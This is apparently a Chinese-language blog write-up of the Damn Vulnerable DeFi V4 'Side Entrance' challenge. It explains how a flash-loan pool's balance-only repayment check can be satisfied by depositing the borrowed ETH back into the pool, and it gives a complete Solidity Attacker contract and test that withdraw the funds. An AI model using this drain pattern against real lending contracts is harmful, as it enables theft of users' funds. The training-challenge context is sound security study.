Damn-vulnerable-defi-V4-solution(Side Entrance)

2025-09-01T17:22:00

一、Side Entrance

背景:我们有一个pool,允许任何人存入 ETH 并随时提取,它还提供闪电贷。

function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }

闪电贷回调接口为 execute,我们需要实现。

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

我们借贷需要保证归还 RTH

if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }

我们可以使用 deposit 和 withdraw 函数

function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }
攻击逻辑:

我们使用闪电贷来调用我们自己实现的execute,我们的execute通过将所有借入的 ETH deposit到 pool 中,pool 只会判断借贷前后pool 中的以太数量有没有减少,这会让池子认为我们借贷已经归还了 ETH。由于这些 ETH 是我们自己deposit到 pool 中的,所以 pool 中会保存balances[msg.sender]我们拥有的 ETH 数量,我们直接调用withdraw并将资金转入 recover账户即可完成挑战。

我们需要部署一个能够实现execute()其他功能的合约

contract Attacker {
    error Attacker__FailedTransaction();

    SideEntranceLenderPool pool;
    address recover;

    constructor(SideEntranceLenderPool _pool, address _recover) {
        pool = _pool;
        recover = _recover;
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    function attack() external {
        pool.flashLoan(1000e18);
        pool.withdraw();
        (bool success,) = recover.call{value: address(this).balance}("");
        if (!success) revert Attacker__FailedTransaction();
    }

    receive() external payable {} // 注意必须存在 receive 函数不然没法接受任何转账
}

 function test_sideEntrance() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(pool, recovery);
        attacker.attack();
    }
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »